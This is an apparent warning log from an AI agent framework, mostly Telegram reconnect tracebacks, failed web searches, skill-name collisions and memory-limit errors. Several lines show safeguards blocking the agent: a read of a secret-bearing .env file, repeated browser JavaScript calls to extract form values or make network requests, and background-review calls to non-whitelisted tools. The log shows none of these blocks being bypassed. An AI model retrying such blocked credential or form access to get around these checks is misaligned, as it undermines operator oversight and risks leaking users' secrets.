peer=127.0.0.1 2026-07-23 09:51:45,355 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-23 09:51:50,681 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-23 09:55:26,084 WARNING gateway.session: gateway.session: routing key 'agent:main:telegram:group:-1003707758328:12' -> 20260721_060236_7c97850b is ended in state.db but still live in sessions.json; dropping stale entry and recovering/recreating the session (#54878) 2026-07-23 11:13:35,721 WARNING [20260721_060236_7c97850b] agent.tool_executor: Tool terminal returned error (0.49s): {"output": "Traceback (most recent call last):\n File \"\", line 1, in \nsqlite3.OperationalError: no such table: jobs", "exit_code": 1, "error": null} 2026-07-23 11:44:55,944 WARNING [20260721_060236_7c97850b] agent.tool_executor: Tool memory returned error (0.01s): {"success": false, "error": "Memory at 1,179/1,375 chars. Adding this entry (332 chars) would exceed the limit. Consolidate now: use 'replace' to merge overlapping entries into shorter ones or 'remove 2026-07-24 03:14:27,259 WARNING hermes_plugins.telegram_platform.adapter: [Telegram] Telegram network error, scheduling reconnect: Bad Gateway 2026-07-24 03:14:27,270 WARNING hermes_plugins.telegram_platform.adapter: [Telegram] Telegram network error (attempt 1/10), reconnecting in 5s. Error: Bad Gateway 2026-07-24 03:14:47,327 WARNING hermes_plugins.telegram_platform.adapter: [Telegram] updater.stop() timed out during network-error reconnect (likely CLOSE-WAIT socket); forcing drain and restart without clean stop 2026-07-24 03:15:07,447 ERROR telegram.ext: Network Retry Loop (Bootstrap delete Webhook): Timed out: Timed out. Failed run number 0 of 0. Aborting. Traceback (most recent call last): File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/httpx/_transports/default.py", line 101, in map_httpcore_exceptions yield File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/httpx/_transports/default.py", line 394, in handle_async_request resp = await self._pool.handle_async_request(req) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/httpcore/_async/connection_pool.py", line 256, in handle_async_request raise exc from None File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/httpcore/_async/connection_pool.py", line 236, in handle_async_request response = await connection.handle_async_request( ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/httpcore/_async/connection.py", line 103, in handle_async_request return await self._connection.handle_async_request(request) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/httpcore/_async/http11.py", line 136, in handle_async_request raise exc File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/httpcore/_async/http11.py", line 106, in handle_async_request ) = await self._receive_response_headers(**kwargs) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/httpcore/_async/http11.py", line 177, in _receive_response_headers event = await self._receive_event(timeout=timeout) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/httpcore/_async/http11.py", line 217, in _receive_event data = await self._network_stream.read( ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/httpcore/_backends/anyio.py", line 32, in read with map_exceptions(exc_map): File "/usr/local/share/uv/python/cpython-3.11.15-linux-x86_64-gnu/lib/python3.11/contextlib.py", line 158, in __exit__ self.gen.throw(typ, value, traceback) File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/httpcore/_exceptions.py", line 14, in map_exceptions raise to_exc(exc) from exc httpcore.ReadTimeout The above exception was the direct cause of the following exception: Traceback (most recent call last): File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/telegram/request/_httpxrequest.py", line 279, in do_request res = await self._client.request( ^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/httpx/_client.py", line 1540, in request return await self.send(request, auth=auth, follow_redirects=follow_redirects) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/httpx/_client.py", line 1629, in send response = await self._send_handling_auth( ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/httpx/_client.py", line 1657, in _send_handling_auth response = await self._send_handling_redirects( ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/httpx/_client.py", line 1694, in _send_handling_redirects response = await self._send_single_request(request) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/httpx/_client.py", line 1730, in _send_single_request response = await transport.handle_async_request(request) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/hermes-agent/plugins/platforms/telegram/telegram_network.py", line 90, in handle_async_request response = await transport.handle_async_request(candidate) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/httpx/_transports/default.py", line 393, in handle_async_request with map_httpcore_exceptions(): File "/usr/local/share/uv/python/cpython-3.11.15-linux-x86_64-gnu/lib/python3.11/contextlib.py", line 158, in __exit__ self.gen.throw(typ, value, traceback) File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/httpx/_transports/default.py", line 118, in map_httpcore_exceptions raise mapped_exc(message) from exc httpx.ReadTimeout The above exception was the direct cause of the following exception: Traceback (most recent call last): File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/telegram/ext/_utils/networkloop.py", line 161, in network_retry_loop await do_action() File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/telegram/ext/_utils/networkloop.py", line 136, in do_action await action_cb() File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/telegram/ext/_updater.py", line 686, in bootstrap_del_webhook await self.bot.delete_webhook(drop_pending_updates=drop_pending_updates) File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/telegram/ext/_extbot.py", line 1489, in delete_webhook return await super().delete_webhook( ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/telegram/_bot.py", line 5032, in delete_webhook return await self._post( ^^^^^^^^^^^^^^^^^ File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/telegram/_bot.py", line 703, in _post return await self._do_post( ^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/telegram/ext/_extbot.py", line 369, in _do_post return await super()._do_post( ^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/telegram/_bot.py", line 732, in _do_post result = await request.post( ^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/telegram/request/_baserequest.py", line 198, in post result = await self._request_wrapper( ^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/telegram/request/_baserequest.py", line 305, in _request_wrapper code, payload = await self.do_request( ^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/telegram/request/_httpxrequest.py", line 296, in do_request raise TimedOut from err telegram.error.TimedOut: Timed out 2026-07-24 03:15:07,604 WARNING hermes_plugins.telegram_platform.adapter: [Telegram] Telegram polling reconnect failed: Timed out 2026-07-24 03:15:07,606 WARNING hermes_plugins.telegram_platform.adapter: [Telegram] Telegram network error (attempt 2/10), reconnecting in 10s. Error: Timed out 2026-07-24 04:06:22,759 WARNING [cron_22df2c51a45d_20260724_040313] agent.tool_executor: Tool read_file returned error (0.00s): {"error": "Access denied: /root/.config/paper-search-mcp/.env is a secret-bearing environment file and cannot be read to prevent credential leakage. If you need to check the file structure, read .env. 2026-07-24 08:28:57,484 WARNING gateway.session: gateway.session: routing key 'agent:main:telegram:group:-1003707758328:12' -> 20260721_060236_7c97850b is ended in state.db but still live in sessions.json; dropping stale entry and recovering/recreating the session (#54878) 2026-07-24 08:34:30,897 WARNING plugins.web.ddgs.provider: DDGS search error: No results found. 2026-07-24 08:34:31,354 WARNING [20260724_083154_2e5f69] plugins.web.ddgs.provider: DDGS search error: No results found. 2026-07-24 08:34:31,358 WARNING [20260724_083154_2e5f69] agent.tool_executor: Tool web_search returned error (2.57s): { "success": false, "error": "DuckDuckGo search failed: No results found." } 2026-07-24 08:34:31,633 WARNING [20260724_083154_8139bf] agent.tool_executor: Tool web_search returned error (2.62s): { "success": false, "error": "DuckDuckGo search failed: No results found." } 2026-07-24 08:34:37,809 WARNING [20260724_083154_8139bf] agent.tool_executor: Tool web_extract returned error (0.07s): {"success": false, "error": "DuckDuckGo (ddgs) is a search-only backend and cannot extract URL content. Set web.extract_backend to firecrawl, tavily, exa, or parallel."} 2026-07-24 08:36:43,256 WARNING [20260724_083154_4f7a63] agent.tool_executor: Tool skill_view returned error (0.20s): {"success": false, "error": "Skill 'research-zh' not found.", "available_skills": ["computer-use", "deploy-internal-dashboard", "dogfood", "onboarding", "research-add-items", "startup-kit-walkthrough" 2026-07-24 08:36:44,695 WARNING [20260724_083154_4f7a63] agent.tool_executor: Tool skill_view returned error (0.18s): {"success": false, "error": "Skill 'research-codex-zh' not found.", "available_skills": ["computer-use", "deploy-internal-dashboard", "dogfood", "onboarding", "research-add-items", "startup-kit-walkth 2026-07-24 08:36:46,330 WARNING [20260724_083154_4f7a63] agent.tool_executor: Tool skill_view returned error (0.23s): {"success": false, "error": "Skill 'research-codex-en' not found.", "available_skills": ["computer-use", "deploy-internal-dashboard", "dogfood", "onboarding", "research-add-items", "startup-kit-walkth 2026-07-24 08:37:16,576 WARNING [20260724_083154_4f7a63] agent.tool_executor: Tool web_extract returned error (0.08s): {"success": false, "error": "DuckDuckGo (ddgs) is a search-only backend and cannot extract URL content. Set web.extract_backend to firecrawl, tavily, exa, or parallel."} 2026-07-24 08:37:19,089 WARNING [20260724_083154_2e5f69] agent.tool_executor: Tool browser_console returned error (0.00s): {"success": false, "error": "Blocked: browser_console(expression=...) tried to use sensitive browser JavaScript primitive (form value extraction). Use browser_snapshot/browser_get_images/browser_conso 2026-07-24 08:37:24,787 WARNING [20260724_083154_8139bf] plugins.web.ddgs.provider: DDGS search error: No results found. 2026-07-24 08:37:24,789 WARNING [20260724_083154_8139bf] agent.tool_executor: Tool web_search returned error (3.64s): { "success": false, "error": "DuckDuckGo search failed: No results found." } 2026-07-24 08:37:30,963 WARNING [20260724_083154_4f7a63] plugins.web.ddgs.provider: DDGS search error: No results found. 2026-07-24 08:37:30,968 WARNING [20260724_083154_4f7a63] agent.tool_executor: Tool web_search returned error (2.87s): { "success": false, "error": "DuckDuckGo search failed: No results found." } 2026-07-24 08:37:33,751 WARNING [20260724_083154_8139bf] plugins.web.ddgs.provider: DDGS search error: No results found. 2026-07-24 08:37:33,754 WARNING [20260724_083154_8139bf] agent.tool_executor: Tool web_search returned error (2.93s): { "success": false, "error": "DuckDuckGo search failed: No results found." } 2026-07-24 08:37:36,033 WARNING [20260724_083154_2e5f69] agent.tool_executor: Tool browser_console returned error (0.00s): {"success": false, "error": "Blocked: browser_console(expression=...) tried to use sensitive browser JavaScript primitive (form value extraction). Use browser_snapshot/browser_get_images/browser_conso 2026-07-24 08:42:07,538 WARNING plugins.web.ddgs.provider: DDGS search error: No results found. 2026-07-24 08:42:07,914 WARNING [20260724_083154_8139bf] agent.tool_executor: Tool web_search returned error (2.88s): { "success": false, "error": "DuckDuckGo search failed: No results found." } 2026-07-24 08:42:28,948 WARNING plugins.web.ddgs.provider: DDGS search error: No results found. 2026-07-24 08:42:28,990 WARNING plugins.web.ddgs.provider: DDGS search error: No results found. 2026-07-24 08:42:29,673 WARNING [20260724_083154_8139bf] agent.tool_executor: Tool web_search returned error (2.94s): { "success": false, "error": "DuckDuckGo search failed: No results found." } 2026-07-24 08:42:29,680 WARNING [20260724_083154_8139bf] agent.tool_executor: Tool web_search returned error (2.89s): { "success": false, "error": "DuckDuckGo search failed: No results found." } 2026-07-24 08:43:20,971 WARNING [20260724_083154_2e5f69] agent.tool_executor: Tool browser_console returned error (0.00s): {"success": false, "error": "Blocked: browser_console(expression=...) tried to use sensitive browser JavaScript primitive (network request). Use browser_snapshot/browser_get_images/browser_console wit 2026-07-24 08:43:26,623 WARNING plugins.web.ddgs.provider: DDGS search error: No results found. 2026-07-24 08:43:26,786 WARNING [20260724_083154_8139bf] agent.tool_executor: Tool web_search returned error (2.83s): { "success": false, "error": "DuckDuckGo search failed: No results found." } 2026-07-24 08:43:37,710 WARNING plugins.web.ddgs.provider: DDGS search error: No results found. 2026-07-24 08:43:37,718 WARNING [20260724_083154_8139bf] agent.tool_executor: Tool web_search returned error (3.13s): { "success": false, "error": "DuckDuckGo search failed: No results found." } 2026-07-24 08:43:38,515 WARNING [20260724_083154_4f7a63] plugins.web.ddgs.provider: DDGS search error: No results found. 2026-07-24 08:43:38,522 WARNING [20260724_083154_4f7a63] agent.tool_executor: Tool web_search returned error (3.20s): { "success": false, "error": "DuckDuckGo search failed: No results found." } 2026-07-24 08:43:42,733 WARNING [20260724_083154_8139bf] plugins.web.ddgs.provider: DDGS search error: No results found. 2026-07-24 08:43:42,734 WARNING [20260724_083154_8139bf] agent.tool_executor: Tool web_search returned error (2.81s): { "success": false, "error": "DuckDuckGo search failed: No results found." } 2026-07-24 08:43:56,133 WARNING [20260724_083154_8139bf] plugins.web.ddgs.provider: DDGS search error: No results found. 2026-07-24 08:43:56,137 WARNING [20260724_083154_8139bf] agent.tool_executor: Tool web_search returned error (3.53s): { "success": false, "error": "DuckDuckGo search failed: No results found." } 2026-07-24 08:44:00,705 WARNING [20260724_083154_8139bf] plugins.web.ddgs.provider: DDGS search error: No results found. 2026-07-24 08:44:00,706 WARNING [20260724_083154_8139bf] agent.tool_executor: Tool web_search returned error (3.21s): { "success": false, "error": "DuckDuckGo search failed: No results found." } 2026-07-24 08:45:43,976 WARNING [20260724_083154_2e5f69] plugins.web.ddgs.provider: DDGS search error: No results found. 2026-07-24 08:45:43,977 WARNING [20260724_083154_2e5f69] agent.tool_executor: Tool web_search returned error (3.96s): { "success": false, "error": "DuckDuckGo search failed: No results found." } 2026-07-24 08:45:47,483 WARNING [20260724_083154_4f7a63] plugins.web.ddgs.provider: DDGS search error: No results found. 2026-07-24 08:45:47,484 WARNING [20260724_083154_4f7a63] agent.tool_executor: Tool web_search returned error (3.34s): { "success": false, "error": "DuckDuckGo search failed: No results found." } 2026-07-24 08:45:52,859 WARNING [20260724_083154_4f7a63] plugins.web.ddgs.provider: DDGS search error: No results found. 2026-07-24 08:45:52,864 WARNING [20260724_083154_4f7a63] agent.tool_executor: Tool web_search returned error (3.07s): { "success": false, "error": "DuckDuckGo search failed: No results found." } 2026-07-24 08:45:59,890 WARNING [20260724_083154_2e5f69] agent.tool_executor: Tool web_extract returned error (0.31s): {"success": false, "error": "DuckDuckGo (ddgs) is a search-only backend and cannot extract URL content. Set web.extract_backend to firecrawl, tavily, exa, or parallel."} 2026-07-24 08:46:14,374 WARNING [20260724_083154_4f7a63] agent.tool_executor: Tool search_files returned error (0.00s): {"error": "Background review denied non-whitelisted tool: search_files. Only memory/skill tools are allowed."} 2026-07-24 08:46:41,492 WARNING [20260724_083154_2e5f69] plugins.web.ddgs.provider: DDGS search error: No results found. 2026-07-24 08:46:41,493 WARNING [20260724_083154_2e5f69] agent.tool_executor: Tool web_search returned error (3.12s): { "success": false, "error": "DuckDuckGo search failed: No results found." } 2026-07-24 08:49:10,722 WARNING [20260724_083154_8139bf] plugins.web.ddgs.provider: DDGS search error: No results found. 2026-07-24 08:49:10,730 WARNING [20260724_083154_8139bf] agent.tool_executor: Tool web_search returned error (3.44s): { "success": false, "error": "DuckDuckGo search failed: No results found." } 2026-07-24 08:49:15,736 WARNING [20260724_083154_8139bf] plugins.web.ddgs.provider: DDGS search error: No results found. 2026-07-24 08:49:15,742 WARNING [20260724_083154_8139bf] agent.tool_executor: Tool web_search returned error (3.35s): { "success": false, "error": "DuckDuckGo search failed: No results found." } 2026-07-24 08:49:34,200 WARNING [20260724_083154_8139bf] plugins.web.ddgs.provider: DDGS search error: No results found. 2026-07-24 08:49:34,202 WARNING [20260724_083154_8139bf] agent.tool_executor: Tool web_search returned error (3.08s): { "success": false, "error": "DuckDuckGo search failed: No results found." } 2026-07-24 08:51:02,600 WARNING [20260724_083154_8139bf] plugins.web.ddgs.provider: DDGS search error: No results found. 2026-07-24 08:51:02,600 WARNING [20260724_083154_8139bf] agent.tool_executor: Tool web_search returned error (3.90s): { "success": false, "error": "DuckDuckGo search failed: No results found." } 2026-07-24 08:51:42,766 WARNING [20260724_083154_8139bf] agent.tool_executor: Tool write_file returned error (0.00s): {"error": "Background review denied non-whitelisted tool: write_file. Only memory/skill tools are allowed."} 2026-07-24 09:01:21,869 WARNING plugins.web.ddgs.provider: DDGS search error: No results found. 2026-07-24 09:01:21,897 WARNING [20260721_060236_7c97850b] agent.tool_executor: Tool web_search returned error (3.35s): { "success": false, "error": "DuckDuckGo search failed: No results found." } 2026-07-24 09:01:27,451 WARNING plugins.web.ddgs.provider: DDGS search error: No results found. 2026-07-24 09:01:27,704 WARNING [20260721_060236_7c97850b] agent.tool_executor: Tool web_search returned error (3.35s): { "success": false, "error": "DuckDuckGo search failed: No results found." } 2026-07-24 09:01:38,292 WARNING plugins.web.ddgs.provider: DDGS search error: No results found. 2026-07-24 09:01:38,298 WARNING [20260721_060236_7c97850b] agent.tool_executor: Tool web_search returned error (3.13s): { "success": false, "error": "DuckDuckGo search failed: No results found." } 2026-07-24 09:01:54,903 WARNING plugins.web.ddgs.provider: DDGS search error: No results found. 2026-07-24 09:01:54,932 WARNING [20260721_060236_7c97850b] agent.tool_executor: Tool web_search returned error (2.99s): { "success": false, "error": "DuckDuckGo search failed: No results found." } 2026-07-24 09:02:26,351 WARNING [20260721_060236_7c97850b] plugins.web.ddgs.provider: DDGS search error: No results found. 2026-07-24 09:02:26,352 WARNING [20260721_060236_7c97850b] agent.tool_executor: Tool web_search returned error (3.28s): { "success": false, "error": "DuckDuckGo search failed: No results found." } 2026-07-24 09:03:08,904 WARNING [20260721_060236_7c97850b] plugins.web.ddgs.provider: DDGS search error: Request timed out: ConnectTimeout('timed out') 2026-07-24 09:03:08,905 WARNING [20260721_060236_7c97850b] agent.tool_executor: Tool web_search returned error (12.34s): { "success": false, "error": "DuckDuckGo search failed: Request timed out: ConnectTimeout('timed out')" } 2026-07-24 09:06:18,089 WARNING [20260721_060236_7c97850b] plugins.web.ddgs.provider: DDGS search error: Request timed out: ConnectTimeout('timed out') 2026-07-24 09:06:18,092 WARNING [20260721_060236_7c97850b] agent.tool_executor: Tool web_search returned error (13.13s): { "success": false, "error": "DuckDuckGo search failed: Request timed out: ConnectTimeout('timed out')" } 2026-07-24 09:08:50,909 WARNING plugins.web.ddgs.provider: DDGS search error: Request timed out: ConnectTimeout('timed out') 2026-07-24 09:08:51,005 WARNING [20260724_090639_3e05e6] agent.tool_executor: Tool web_search returned error (12.75s): { "success": false, "error": "DuckDuckGo search failed: Request timed out: ConnectTimeout('timed out')" } 2026-07-24 09:09:05,732 WARNING plugins.web.ddgs.provider: DDGS search error: Request timed out: ConnectTimeout('timed out') 2026-07-24 09:09:06,032 WARNING plugins.web.ddgs.provider: DDGS search error: Request timed out: ConnectTimeout('timed out') 2026-07-24 09:09:06,275 WARNING plugins.web.ddgs.provider: DDGS search error: Request timed out: ConnectTimeout('timed out') 2026-07-24 09:09:06,354 WARNING plugins.web.ddgs.provider: DDGS search error: Request timed out: ConnectTimeout('timed out') 2026-07-24 09:09:06,359 WARNING [20260724_090639_3e05e6] agent.tool_executor: Tool web_search returned error (12.86s): { "success": false, "error": "DuckDuckGo search failed: Request timed out: ConnectTimeout('timed out')" } 2026-07-24 09:09:06,367 WARNING [20260724_090639_3e05e6] agent.tool_executor: Tool web_search returned error (12.56s): { "success": false, "error": "DuckDuckGo search failed: Request timed out: ConnectTimeout('timed out')" } 2026-07-24 09:09:06,373 WARNING [20260724_090639_3e05e6] agent.tool_executor: Tool web_search returned error (13.18s): { "success": false, "error": "DuckDuckGo search failed: Request timed out: ConnectTimeout('timed out')" } [Tool loop warning: same_tool_failure_warning; count=3; web_search has failed 3 times thi 2026-07-24 09:09:06,381 WARNING [20260724_090639_3e05e6] agent.tool_executor: Tool web_search returned error (13.10s): { "success": false, "error": "DuckDuckGo search failed: Request timed out: ConnectTimeout('timed out')" } [Tool loop warning: same_tool_failure_warning; count=4; web_search has failed 4 times thi 2026-07-24 09:13:42,460 WARNING plugins.web.ddgs.provider: DDGS search error: Request timed out: ConnectTimeout('timed out') 2026-07-24 09:13:42,466 WARNING [20260724_090639_3e05e6] agent.tool_executor: Tool web_search returned error (12.97s): { "success": false, "error": "DuckDuckGo search failed: Request timed out: ConnectTimeout('timed out')" } 2026-07-24 09:14:13,181 WARNING plugins.web.ddgs.provider: DDGS search error: Request timed out: ConnectTimeout('timed out') 2026-07-24 09:14:13,425 WARNING plugins.web.ddgs.provider: DDGS search error: No results found. 2026-07-24 09:14:13,443 WARNING [20260724_090639_3e05e6] agent.tool_executor: Tool web_search returned error (13.58s): { "success": false, "error": "DuckDuckGo search failed: No results found." } 2026-07-24 09:14:13,503 WARNING [20260724_090639_3e05e6] agent.tool_executor: Tool web_search returned error (13.33s): { "success": false, "error": "DuckDuckGo search failed: Request timed out: ConnectTimeout('timed out')" } 2026-07-24 09:14:28,211 WARNING plugins.web.ddgs.provider: DDGS search error: Request timed out: ConnectTimeout('timed out') 2026-07-24 09:14:29,005 WARNING plugins.web.ddgs.provider: DDGS search error: Request timed out: ConnectTimeout('timed out') 2026-07-24 09:14:29,011 WARNING [20260724_090639_3e05e6] agent.tool_executor: Tool web_search returned error (12.40s): { "success": false, "error": "DuckDuckGo search failed: Request timed out: ConnectTimeout('timed out')" } 2026-07-24 09:14:29,022 WARNING [20260724_090639_3e05e6] agent.tool_executor: Tool web_search returned error (13.19s): { "success": false, "error": "DuckDuckGo search failed: Request timed out: ConnectTimeout('timed out')" } [Tool loop warning: same_tool_failure_warning; count=3; web_search has failed 3 times thi 2026-07-24 09:17:27,604 WARNING [20260724_090639_3e05e6] tools.skills_tool: Skill name collision for 'research-critism': 3 candidates — /root/.hermes/skills/research/research-critism/SKILL.md; /opt/ai-os/products/ceo/skills/research/SKILL.md; /opt/ai-os/products/ceo/skills/research/research-critism/SKILL.md 2026-07-24 09:17:27,607 WARNING [20260724_090639_3e05e6] agent.tool_executor: Tool skill_view returned error (0.85s): {"success": false, "error": "Ambiguous skill name 'research-critism': 3 skills match across your local skills dir and external_dirs. Refusing to guess — load one explicitly by its categorized path.", 2026-07-24 09:17:31,714 WARNING [20260724_090639_3e05e6] tools.skills_tool: Skill name collision for 'research/research-critism': 2 candidates — /root/.hermes/skills/research/research-critism/SKILL.md; /opt/ai-os/products/ceo/skills/research/research-critism/SKILL.md 2026-07-24 09:17:31,715 WARNING [20260724_090639_3e05e6] agent.tool_executor: Tool skill_view returned error (0.11s): {"success": false, "error": "Ambiguous skill name 'research/research-critism': 2 skills match across your local skills dir and external_dirs. Refusing to guess — load one explicitly by its categorized 2026-07-24 09:17:42,532 WARNING [20260724_090639_3e05e6] agent.tool_executor: Tool skill_view returned error (0.00s): {"success": false, "error": "Skill name must be a relative path within the skills directory.", "hint": "Use a skill name or relative path within the skills directory."} [Tool loop warning: same_tool_ 2026-07-24 09:18:06,749 WARNING [20260721_060236_7c97850b] plugins.web.ddgs.provider: DDGS search error: Request timed out: ConnectTimeout('timed out') 2026-07-24 09:18:06,755 WARNING [20260721_060236_7c97850b] agent.tool_executor: Tool web_search returned error (13.21s): { "success": false, "error": "DuckDuckGo search failed: Request timed out: ConnectTimeout('timed out')" } 2026-07-24 09:18:13,935 WARNING [20260724_090639_3e05e6] agent.tool_executor: Tool skill_view returned error (0.00s): {"success": false, "error": "Skill name must be a relative path within the skills directory.", "hint": "Use a skill name or relative path within the skills directory."} [Tool loop warning: same_tool_ 2026-07-24 09:19:46,405 WARNING [20260724_090639_3e05e6] agent.tool_executor: Tool search_files returned error (0.00s): {"error": "Background review denied non-whitelisted tool: search_files. Only memory/skill tools are allowed."} 2026-07-24 09:20:06,600 WARNING [20260724_090639_3e05e6] tools.skills_tool: Skill name collision for 'research-pipeline': 2 candidates — /root/.hermes/skills/research/research-pipeline/SKILL.md; /opt/ai-os/products/ceo/skills/research/research-pipeline/SKILL.md 2026-07-24 09:20:06,608 WARNING [20260724_090639_3e05e6] agent.tool_executor: Tool skill_view returned error (0.38s): {"success": false, "error": "Ambiguous skill name 'research-pipeline': 2 skills match across your local skills dir and external_dirs. Refusing to guess — load one explicitly by its categorized path.", 2026-07-24 09:20:06,842 WARNING [20260721_060236_7c97850b] agent.tool_executor: Tool web_extract returned error (0.34s): {"success": false, "error": "DuckDuckGo (ddgs) is a search-only backend and cannot extract URL content. Set web.extract_backend to firecrawl, tavily, exa, or parallel."} 2026-07-24 09:20:08,629 WARNING [20260724_090639_3e05e6] tools.skills_tool: Skill name collision for 'research/research-pipeline': 2 candidates — /root/.hermes/skills/research/research-pipeline/SKILL.md; /opt/ai-os/products/ceo/skills/research/research-pipeline/SKILL.md 2026-07-24 09:20:08,630 WARNING [20260724_090639_3e05e6] agent.tool_executor: Tool skill_view returned error (0.07s): {"success": false, "error": "Ambiguous skill name 'research/research-pipeline': 2 skills match across your local skills dir and external_dirs. Refusing to guess — load one explicitly by its categorize 2026-07-24 09:20:11,342 WARNING [20260724_090639_3e05e6] agent.tool_executor: Tool skill_view returned error (0.17s): {"success": false, "error": "Skill 'skills/research/research-pipeline' not found.", "available_skills": ["computer-use", "deploy-internal-dashboard", "dogfood", "onboarding", "research-add-items", "st 2026-07-24 09:20:13,195 WARNING [20260724_090639_3e05e6] tools.skills_tool: Skill name collision for 'research/research-critism': 2 candidates — /root/.hermes/skills/research/research-critism/SKILL.md; /opt/ai-os/products/ceo/skills/research/research-critism/SKILL.md 2026-07-24 09:20:13,198 WARNING [20260724_090639_3e05e6] agent.tool_executor: Tool skill_view returned error (0.22s): {"success": false, "error": "Ambiguous skill name 'research/research-critism': 2 skills match across your local skills dir and external_dirs. Refusing to guess — load one explicitly by its categorized 2026-07-24 09:20:15,335 WARNING [20260724_090639_3e05e6] agent.tool_executor: Tool skill_manage returned error (0.07s): {"success": false, "error": "Refusing background curator patch for skill 'research-critism': the current SKILL.md content has not been loaded in this review turn. Call skill_view(name) for SKILL.md, o 2026-07-24 09:20:39,114 WARNING [20260724_090639_3e05e6] tools.skills_tool: Skill name collision for 'research-critism': 3 candidates — /root/.hermes/skills/research/research-critism/SKILL.md; /opt/ai-os/products/ceo/skills/research/SKILL.md; /opt/ai-os/products/ceo/skills/research/research-critism/SKILL.md 2026-07-24 09:20:39,114 WARNING [20260724_090639_3e05e6] agent.tool_executor: Tool skill_view returned error (0.09s): {"success": false, "error": "Ambiguous skill name 'research-critism': 3 skills match across your local skills dir and external_dirs. Refusing to guess — load one explicitly by its categorized path.", 2026-07-24 09:20:41,418 WARNING [20260724_090639_3e05e6] agent.tool_executor: Tool skill_view returned error (0.00s): {"success": false, "error": "Skill name must be a relative path within the skills directory.", "hint": "Use a skill name or relative path within the skills directory."} 2026-07-24 09:21:02,578 WARNING [20260724_090639_3e05e6] tools.skills_tool: Skill name collision for 'research/research-critism/SKILL.md': 2 candidates — /root/.hermes/skills/research/research-critism/SKILL.md; /opt/ai-os/products/ceo/skills/research/research-critism/SKILL.md 2026-07-24 09:21:02,579 WARNING [20260724_090639_3e05e6] agent.tool_executor: Tool skill_view returned error (0.16s): {"success": false, "error": "Ambiguous skill name 'research/research-critism/SKILL.md': 2 skills match across your local skills dir and external_dirs. Refusing to guess — load one explicitly by its ca 2026-07-24 09:23:32,666 WARNING [20260721_060236_7c97850b] agent.tool_executor: Tool memory returned error (0.00s): {"success": false, "error": "After applying all 3 operations, memory would be at 1,826/1,375 chars -- over the limit. Remove or shorten more entries in the same batch (see current_entries below), then 2026-07-24 09:23:33,705 WARNING [20260721_060236_7c97850b] agent.tool_executor: Tool skill_manage returned error (0.04s): {"success": false, "error": "Refusing background curator patch for skill 'tourism-research-pipeline': the current SKILL.md content has not been loaded in this review turn. Call skill_view(name) for SK 2026-07-24 09:25:36,733 WARNING [20260724_092311_1cbeb3] agent.tool_executor: Tool terminal returned error (0.15s): {"output": "File \"\", line 9\n print(f\"{stt}: {item[\\\"ten\\\"]}: {item[\\\"so_phong\\\"]}\")\n ^\nSyntaxError: f-string expressio 2026-07-24 09:25:44,240 WARNING [20260721_060236_7c97850b] agent.tool_executor: Tool skill_manage returned error (0.03s): {"success": false, "error": "Refusing background curator write_file for skill 'tourism-research-pipeline': the current references/ota_5star_reconciliation_20260724.md content has not been loaded in th 2026-07-24 09:25:58,398 WARNING [20260724_092311_1cbeb3] agent.tool_executor: Tool terminal returned error (0.12s): 